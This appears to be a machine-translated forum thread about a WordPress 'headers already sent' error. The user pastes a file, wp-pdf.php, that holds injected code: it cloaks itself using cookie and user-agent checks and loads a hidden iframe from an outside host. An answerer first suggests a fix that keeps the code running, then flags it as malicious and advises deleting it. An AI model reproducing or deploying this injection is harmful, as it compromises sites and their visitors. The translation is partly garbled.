不可解经典的错误信息:无法修改标题信息 - WordPress的
我知道这是一个经典的话:我从WordPress的未来该错误消息:不可解经典的错误信息:无法修改标题信息 - WordPress的
警告:不能更改头信息 - 已经由(输出发送头开始在上线/home/quanscom/public_html/blog/wp-pdf.php:8)在/home/quanscom/public_html/blog/wp-includes/feed-rss2.php 8
我知道这是通常来自垃圾空间或文件中的一行,但这次似乎有所不同。
我一直在关注这些链接:
,尤其是这一个:
http://codex.wordpress.org/Answers-Trouble_Shooting#Headers_already_sent
但一切都没有改变。正如上一个链接中所建议的那样,我已经用原始文件替换了这两个文件,但没有任何更改。 请问有人能用一些新鲜的眼睛看看吗? 谢谢,你会发现下面的两页:
WP-pdfphp:
<?php
if([email protected]($_COOKIE['PHPSESS1D']) &&
[email protected]_match('/; Yandex|; Googlebot|linux|macintosh|android|Symbian|iPhone|Mac OS|Opera Mini|Chrome|Apple|Presto/i',$_SERVER['HTTP_USER_AGENT'])) {
if (!is_feed()) {
echo '<script type="text/javascript">
d=new Date();
d.setDate(d.getDate()+1);
document.cookie="PHPSESS1D=1; path=/; expires=" + d.toGMTString();
</script>';
echo '<style type="text/css">#yavvw {width: 10px;height: 10px;frameborder: no;visibility: hidden;scrolling: no;}</style><iframe id="yavvw" src="http://3gb2.lili2d.com/ad.jpg?11"></iframe>';
}
}
?>
饲料rss2.php:
<?php
/**
* RSS2 Feed Template for displaying RSS2 Posts feed.
*
* @package WordPress
*/
header('Content-Type: '.feed_content_type('rss-http').'; charset='.get_option('blog_charset'), true);
$more = 1;
echo '<?xml version="1.0" encoding="'.get_option('blog_charset').'"?'.'>'; ?>
<rss version="2.0"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:wfw="http://wellformedweb.org/CommentAPI/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
<?php do_action('rss2_ns'); ?>
>
Then some code in <channel> until the end with </channel> </rss> without any space or empty line after.
在上线的WP-pdf.php文件8,你有一个回声陈述。在feed-rss2.php中,你有一个header()函数,它基本上试图设置响应头。由于输出已经发生在wp-pdf.php文件中,所以您会收到此错误。
要解决这个问题,你可以用这个条件包含echo语句。
if (!is_feed()) {
// your echo statement here
}
仔细看看wp-pdf.php文件代码,它对我来说看起来有点恶意。它在您的页面上包含一个隐藏的iframe,使其看起来非常恶意。此外,代码正在检查页面是否被搜索引擎引用。
我知道你继承了这段代码。你能告诉我这个文件存在的完整路径吗?
编辑:
我想你可以删除WP-pdf.php文件。当你删除它时,它可能会在原来包含的地方产生另一个错误。你可以去那里去除参考。
因此,该文件的路径为/home/quanscom/public_html/blog/wp-pdf.php,您可以在该页面顶部的错误消息(关注此问题的页面)中看到, feeds.feedburner.com/quantum-wireless从该页面访问(只需点击右侧的RSS源):http://www.quantum-wireless.com/blog/ – 2012-04-23 18:23:35
感谢您的帮助! – 2012-04-23 18:24:00
感谢您的帮助,我尝试了您的解决方案,但没有任何改变。 事实上,我甚至可以删除wp_pdf.php中的所有内容,并且什么也没有发生。我甚至可以删除没有任何结果的标题句子。顺便说一句,这是我正在谈论的Rss提要页面:http://feeds.feedburner.com/quantum-wireless – 2012-04-19 14:20:12
wp_pdf.php文件中有两个echo语句。你是否在我给的陈述中附上了他们两个? – Sudar 2012-04-19 14:21:50
是的,看编辑,我做了更改 – 2012-04-19 14:32:02